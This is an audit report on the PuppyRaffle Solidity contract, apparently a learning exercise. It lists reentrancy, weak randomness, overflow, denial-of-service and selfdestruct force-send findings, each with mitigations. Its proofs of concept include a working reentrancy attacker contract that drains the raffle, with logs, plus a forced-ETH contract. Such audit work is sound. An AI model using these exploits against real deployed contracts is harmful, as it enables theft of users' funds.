Puppy Raffle Initial Audit Report

Version 0.1

Special for my GitHub

October 30, 2025

Puppy Raffle Audit Report

Putfor

October 30, 2025

Prepared by: Putfor https://discordapp.com/users/709350502630162472

Table of Contents

- Medium
  * [M-1] Quadratic duplicate check in `PuppyRaffle::enterRaffle` enables gas-exhaustion denial of service (DoS) attack
  * [M-2] Equality check against contract balance prevents fee withdrawal if contract receives forced ETH via `selfdestruct`
- Informational
  * [I-1] Floating pragmas
  * [I-2] Magic Numbers
  * [I-3] Test Coverage
  * [I-4] Zero address validation
  * [I-5] _isActivePlayer is never used and should be removed
  * [I-6] Unchanged variables should be constant or immutable
  * [I-7] Potentially erroneous active player index
  * [I-8] Zero address may be erroneously considered an active player

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
   1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

Putfor makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security research by Putfor is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks `https://docs.codehawks.com/hawks-auditors/how-to-evaluate-a-finding-severity` severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
2a47715b30cf11ca82db148704e67652ad679cd8
```

Scope

```
src/
--- PuppyRaffle.sol
```

- Solc Version: 0.7.6
- Chain(s) to deploy contract to: Ethereum

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

During the security review, both automated and manual analysis techniques were applied to ensure comprehensive coverage of the PuppyRaffle smart contract. Static analysis tools such as Slither and Aderyn were used to identify common vulnerability patterns and potential logical flaws. In addition to automated scanning, a series of custom Foundry tests were written to reproduce and verify discovered issues in a controlled environment.

Furthermore, the contract underwent a manual line-by-line review, focusing on business logic validation, access control, and secure handling of user funds. This combined approach allowed for the detection of both high-level architectural weaknesses and subtle implementation vulnerabilities that automated tools alone might overlook.

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	0
Info	8
Total	14

Findings

High

[H-1] Reentrancy in `refund` — external call before state update allows repeated refunds / fund drain

Description: The `refund(uint256 playerIndex)` function performs an external value transfer (`payable(msg.sender).sendValue(entranceFee)`) before updating contract state (`players[playerIndex] = address(0)`). Because transferring Ether to a contract triggers its fallback/receive code, a malicious contract registered as a player can re-enter `refund` from its fallback and receive multiple payouts while the original slot has not yet been cleared.

Impact: An attacker can repeatedly re-enter `refund` and drain more than one `entranceFee` per entitlement (up to the contract's balance), causing direct financial loss and breaking raffle logic. This compromises funds, availability and integrity of the contract.

Proof of Concept: The following PoC demonstrates a reentrancy exploit against refund. It deploys an attacker contract that (1) enters the raffle as a contract, (2) calls refund, and (3) re-enters from fallback/receive to drain the contract.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() public payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);
        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
        if (address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
    }

    receive() external payable {
        _stealMoney();
    }
}
```

```
function test_reentrancyRefund() public {
        // users entering raffle
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        // create attack contract and user
        ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
        address attacker = makeAddr("attacker");
        vm.deal(attacker, 1 ether);

        // noting starting balances
        uint256 startingAttackContractBalance = address(
            attackerContract).balance;
        uint256 startingPuppyRaffleBalance = address(puppyRaffle).
            balance;

        // attack
        vm.prank(attacker);
        attackerContract.attack{value: entranceFee}();

        // impact
        console.log("attackerContract balance: ",
            startingAttackContractBalance);
        console.log("puppyRaffle balance: ", startingPuppyRaffleBalance
            );
        console.log("ending attackerContract balance: ", address(
            attackerContract).balance);
        console.log("ending puppyRaffle balance: ", address(puppyRaffle
            ).balance);
    }
```

```
Logs:
  attackerContract balance:  0
  puppyRaffle balance:  4000000000000000000
  ending attackerContract balance:  5000000000000000000
  ending puppyRaffle balance:  0
```

Recommended Mitigation: Adopt one or more of the following proven defenses:

1. *Checks — Effects — Interactions:* update state before making external calls.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "Only the player can refund");
    require(playerAddress != address(0), "Player not active");

    // Effects first
    players[playerIndex] = address(0);
    emit RaffleRefunded(playerAddress);

    // Interaction last
    (bool sent, ) = payable(msg.sender).call{value: entranceFee}("");
    require(sent, "Transfer failed");
}
```

2. *Pull pattern (preferred):* queue payouts in a `pendingWithdrawals` mapping and let users withdraw explicitly.

```solidity
mapping(address => uint256) public pendingWithdrawals;

function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "Only the player");
    require(playerAddress != address(0), "Not active");

    players[playerIndex] = address(0);
    pendingWithdrawals[msg.sender] += entranceFee;
    emit RaffleRefunded(playerAddress);
}

function withdraw() external {
    uint256 amount = pendingWithdrawals[msg.sender];
    require(amount > 0, "No funds");
    pendingWithdrawals[msg.sender] = 0;
    (bool sent, ) = payable(msg.sender).call{value: amount}("");
    require(sent, "Withdraw failed");
}
```

3. *Reentrancy guard as a defense-in-depth:* add OpenZeppelin `ReentrancyGuard` and mark `refund` `nonReentrant`. Do not rely on this alone; combine with Checks-Effects-Interactions or pull pattern.

```solidity
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract PuppyRaffle is ReentrancyGuard {
    function refund(uint256 playerIndex) public nonReentrant {
        // ...
    }
}
```

4. *Avoid* `sendValue` / low-level wrappers that mask failures: use `call` and check the result; prefer pull pattern to reduce surface for failed transfers.

Summary: The function allows reentrancy because it pays out before clearing state. Fix immediately by moving state updates before external calls or by switching to pull-based withdrawals, and add ReentrancyGuard for additional protection.

[H-2] Predictable randomness in `selectWinner` allows manipulation of the raffle outcome

Description: The `selectWinner()` function tries to pick a random winner and assign a rarity level by using values such as `msg.sender`, `block.timestamp`, and `block.difficulty`. These values might look random at first glance, but in reality, they can be predicted or even slightly influenced by the person who calls the function or by the network itself.

Impact: Attackers can call `selectWinner()` at specific times or under specific conditions to increase their chances of winning or to get a rarer NFT. This undermines the fairness of the raffle and damages the project's credibility.

Proof of Concept: An attacker can simulate how the contract picks a winner by running the same random calculation off-chain. By trying different timestamps or other values, they can find a moment where the outcome favors them. Then, they simply call `selectWinner()` at that moment and end up being chosen as the winner or getting the highest rarity.

Recommended Mitigation: Instead of using predictable values from the blockchain, use a trusted source of randomness such as Chainlink VRF. Chainlink VRF provides secure and verifiable random numbers that cannot be predicted or influenced by anyone — not even the project team. (https://docs.chain.link/vrf)

[H-3] Integer overflow / unsafe downcast — `totalFees` is `uint64`, `fee` is `uint256` (overflow / truncation risk)

Description: The contract stores accumulated fees in `uint64 public totalFees`, but computes `fee` as a `uint256`:

```
uint256 fee = (totalAmountCollected * 20) / 100;
totalFees = totalFees + uint64(fee);
```

Because the code runs on Solidity 0.7.6 (no built-in overflow checks) and casts a `uint256` value into `uint64` without validation, two problems arise:

(1) `totalFees` can overflow when the accumulated value exceeds `2^64-1`,

(2) casting `fee` to `uint64` truncates high bits when fee does not fit into 64 bits, silently producing an incorrect (wrapped) value.

Impact: Accumulated fees can wrap around or be corrupted:

`uint64 max value = 2^64 - 1 = 18,446,744,073,709,551,615 wei` ~ 18.45 ETH. Any attempt to store more than ~18.45 ETH in `totalFees` will overflow.

Casting a large `fee` (a `uint256`) to `uint64` will silently truncate high bits, producing an incorrect small number instead of reverting. This can corrupt accounting.

On Solidity 0.7.6 these errors do not revert automatically, so the contract can end up in an incorrect financial state without detection.

Financial/operational consequences: incorrect fee accounting, inability to properly distribute or reconcile funds, and potential exploitation or denial of proper fee collection.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

Recommended Mitigation: 1. *Keep using Solidity 0.7.6*: change `totalFees` to `uint256` and perform arithmetic with OpenZeppelin SafeMath to prevent overflows:

```
using SafeMath for uint256;
uint256 public totalFees;
totalFees = totalFees.add(fee);
```

2. *Upgrade compiler to Solidity >=0.8.0*: change `totalFees` to `uint256` and rely on built-in overflow checks, which will automatically revert transactions when an overflow occurs:

```
uint256 public totalFees;
totalFees += fee; // reverts if overflow occurs
```

[H-4] Winner selection may pick `address(0)` — refunded slots are not excluded from the lottery

Description: The `refund(playerIndex)` function sets `players[playerIndex] = address(0)` when a player withdraws their stake. The `selectWinner()` function computes `winnerIndex` as `keccak256(...)% players.length` and then uses `players[winnerIndex]` as the winner without checking whether that slot holds a valid address. If the RNG picks an index that corresponds to a refunded slot (i.e. `address(0)`), the contract will attempt to send the prize to the zero address — effectively burning the prize pool.

Impact: The prize pool can be irreversibly lost if a refunded slot is selected. This is a direct financial loss for participants and for the project. As well NFTs minted to `address(0)`.

Proof of Concept: 1. Have several players enter so `players.length >= 4`.

2. One or more of these players calls `refund(index)`, which sets their slot to `address(0)` but does not compact the players array.
3. When `selectWinner()` is called, the RNG may pick an index pointing to a refunded slot. The function reads `winner = players[winnerIndex]` which returns `address(0)`.
4. The contract proceeds to calculate prize and executes `(bool success,)= winner.call{value: prizePool}("");` — that sends ETH to the zero address, burning the funds. After that, the function will mint the NFT and send it to this `address(0)`.

Recommended Mitigation: If the project migrates to using Chainlink VRF for random number generation, it's recommended to include an additional safety check to ensure that the selected winner is a valid player address. Specifically, once the random index is returned by Chainlink VRF, the contract should verify that `players[winnerIndex]` is not equal to `address(0)`.

If the index corresponds to a zero address, the contract should simply make another VRF request to obtain a new random number and repeat the selection process.

This approach guarantees that the winner selection logic remains fair and that funds are never mistakenly sent to an invalid address, even after introducing a secure source of randomness.

Medium

[M-1] Quadratic duplicate check in PuppyRaffle`::enterRaffle` enables gas-exhaustion denial of service (DoS) attack

Description: The `enterRaffle(address[] memory newPlayers)` function adds new participants to the `players` array and then performs an O(n**2) duplicate check over all existing entries. The nested loops (`for i` / `for j`) compare every pair of addresses, causing gas consumption to grow quadratically with the number of players. An attacker can exploit this by adding a large number of addresses to `players`, making subsequent calls to `enterRaffle` increasingly expensive or even impossible due to block gas limits — effectively resulting in a denial of service.

Impact: An attacker can fill the `players` array with many addresses and cause all future `enterRaffle` calls to fail or become prohibitively expensive due to gas exhaustion. This disrupts the raffle's functionality, prevents new participants from entering, and compromises the contract's availability and integrity.

Proof of Concept: The following Foundry test demonstrates how gas usage grows disproportionately as the number of players increases. After a large batch is added, even adding one more player consumes significantly more gas.

```
function testGasDOSAttack() public {
    uint256 playerCount = 100;
    address[] memory playersBatch = new address[](playerCount);

    for (uint256 i = 0; i < playerCount; i++) {
        playersBatch[i] = address(uint160(i + 1000));
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * playerCount}(
        playersBatch);
    uint256 gasUsedFirst = gasStart - gasleft();

    address ;
    singlePlayer[0] = address(0x9999);

    gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee}(singlePlayer);
    uint256 gasUsedSecond = gasStart - gasleft();

    console.log("Gas for first batch (100 players):", gasUsedFirst);
    console.log("Gas for one more player:", gasUsedSecond);
    console.log("Gas ratio:", gasUsedSecond * 100 / gasUsedFirst, "%");

    assertTrue(gasUsedSecond > gasUsedFirst / 10);
}
```

Output:

```
      [0] console::log("Gas for first batch (100 players):", 6523172
         [6.523e6]) [staticcall]
          [Stop]
      [0] console::log("Gas for one more player:", 4277273 [4.277e6]) [
         staticcall]
          [Stop]
      [0] console::log("Gas ratio:", 65, "%") [staticcall]
          [Stop]
       [Stop]
```

Recommended Mitigation: Replace the quadratic duplicate check with a constant-time lookup using a mapping. This avoids iterating through the entire `players` array and reduces complexity to O(n). For example:

```
mapping(address => bool) private isPlayer;

function enterRaffle(address[] memory newPlayers) public payable {
    require(msg.value == entranceFee * newPlayers.length, "Must send
        enough to enter");

    for (uint256 i = 0; i < newPlayers.length; i++) {
        address p = newPlayers[i];
        require(!isPlayer[p], "Duplicate player");
        players.push(p);
        isPlayer[p] = true;
    }

    emit RaffleEnter(newPlayers);
}
```

Additionally, introduce practical safeguards:

Limit the maximum number of players per transaction, e.g.:

```
    uint256 constant MAX_PLAYERS_PER_TX = 50;
    require(newPlayers.length <= MAX_PLAYERS_PER_TX, "Too many players
        per tx");
```

Validate uniqueness only within the provided batch (bounded O(k**2) check for small k) before writing to storage.

Consider administrative controls or mechanisms to prune or reset the player list if it becomes too large.

This ensures the function remains gas-efficient, scalable, and resistant to DoS attacks through quadratic growth.

[M-2] Equality check against contract balance prevents fee withdrawal if contract receives forced ETH via `selfdestruct`

Description: The `withdrawFees()` function requires the contract balance to be exactly equal to totalFees:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

This check assumes the contract will never hold any ETH beyond the accounted fees. However, another contract can force-send ETH to the raffle using `selfdestruct`, which transfers value without calling any fallback function on the recipient. Even a single extra wei will break the equality and permanently block fee withdrawal under the current logic.

Impact: An attacker can permanently prevent the project from withdrawing legitimately accrued fees by sending a tiny forced amount with `selfdestruct`. This does not steal funds, but locks the fee withdrawal operation, causing an availability/operational issue: project funds cannot be retrieved until the extra wei is removed.

Proof of Concept:

1. Put the raffle in a normal state where `totalFees > 0` and `address(this).balance == totalFees`.
2. Deploy a minimal attacker contract funded with 1 wei:

```
contract ForceSend {
    constructor() payable {}
    function destroy(address payable target) external {
        selfdestruct(target);
    }
}
```

3. From the attacker, call `destroy(payable(raffleAddress)).selfdestruct` forces 1 wei into the raffle without calling any raffle function.
4. Now `address(raffle).balance == totalFees + 1`, so `withdrawFees()` reverts due to the strict equality check. The project cannot withdraw fees while the condition is false.

Recommended Mitigation:

Remove the balance check on the `withdrawFees()` function.

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Informational

[I-1] Floating pragmas

Description: Contracts should use strict versions of solidity. Locking the version ensures that contracts are not deployed with a different version of solidity than they were tested with. An incorrect version could lead to uninteded results.

https://swcregistry.io/docs/SWC-103/

Recommended Mitigation: Lock up pragma versions.

```
pragma solidity 0.7.6;
```

[I-2] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
    //correct
       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
       uint256 public constant FEE_PERCENTAGE = 20;
       uint256 public constant TOTAL_PERCENTAGE = 100;

    //wrong
        uint256 prizePool = (totalAmountCollected * 80) / 100;
        uint256 fee = (totalAmountCollected * 20) / 100;
        uint256 prizePool = (totalAmountCollected *
            PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
        uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
            TOTAL_PERCENTAGE;
```

[I-3] Test Coverage

Description: The test coverage of the tests are below 90%. This often means that there are parts of the code that are not tested.

```
| File                               | % Lines        | % Statements
    | % Branches      | % Funcs       |
| ---------------------------------- | -------------- | --------------
    | --------------- | ------------- |
| script/DeployPuppyRaffle.sol       | 0.00% (0/3)    | 0.00% (0/4)
    | 100.00% (0/0)   | 0.00% (0/1)   |
| src/PuppyRaffle.sol                | 82.46% (47/57) | 83.75% (67/80)
    | 66.67% (20/30)  | 77.78% (7/9)  |
| test/auditTests/ProofOfCodes.t.sol | 100.00% (7/7)  | 100.00% (8/8)
    | 50.00% (1/2)    | 100.00% (2/2) |
| Total                              | 80.60% (54/67) | 81.52% (75/92)
    | 65.62% (21/32)  | 75.00% (9/12) |
```

Recommended Mitigation: Increase test coverage to 90% or higher, especially for the `Branches` column.

[I-4] Zero address validation

Description: The `PuppyRaffle` contract does not validate that the `feeAddress` is not the zero address. This means that the `feeAddress` could be set to the zero address, and fees would be lost.

```
PuppyRaffle.constructor(uint256,address,uint256)._feeAddress (src/
    PuppyRaffle.sol#57) lacks a zero-check on :
                 - feeAddress = _feeAddress (src/PuppyRaffle.sol#59)
PuppyRaffle.changeFeeAddress(address).newFeeAddress (src/PuppyRaffle.
    sol#165) lacks a zero-check on :
                 - feeAddress = newFeeAddress (src/PuppyRaffle.sol#166)
```

Recommended Mitigation: Add a zero address check whenever the `feeAddress` is updated.

[I-5] _isActivePlayer is never used and should be removed

Description: The function `PuppyRaffle::_isActivePlayer` is never used and should be removed.

```
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```

[I-6] Unchanged variables should be constant or immutable

Constant Instances:

```
PuppyRaffle.commonImageUri (src/PuppyRaffle.sol#35) should be constant
PuppyRaffle.legendaryImageUri (src/PuppyRaffle.sol#45) should be
    constant
PuppyRaffle.rareImageUri (src/PuppyRaffle.sol#40) should be constant
```

Immutable Instances:

```
PuppyRaffle.raffleDuration (src/PuppyRaffle.sol#21) should be immutable
```

[I-7] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-8] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.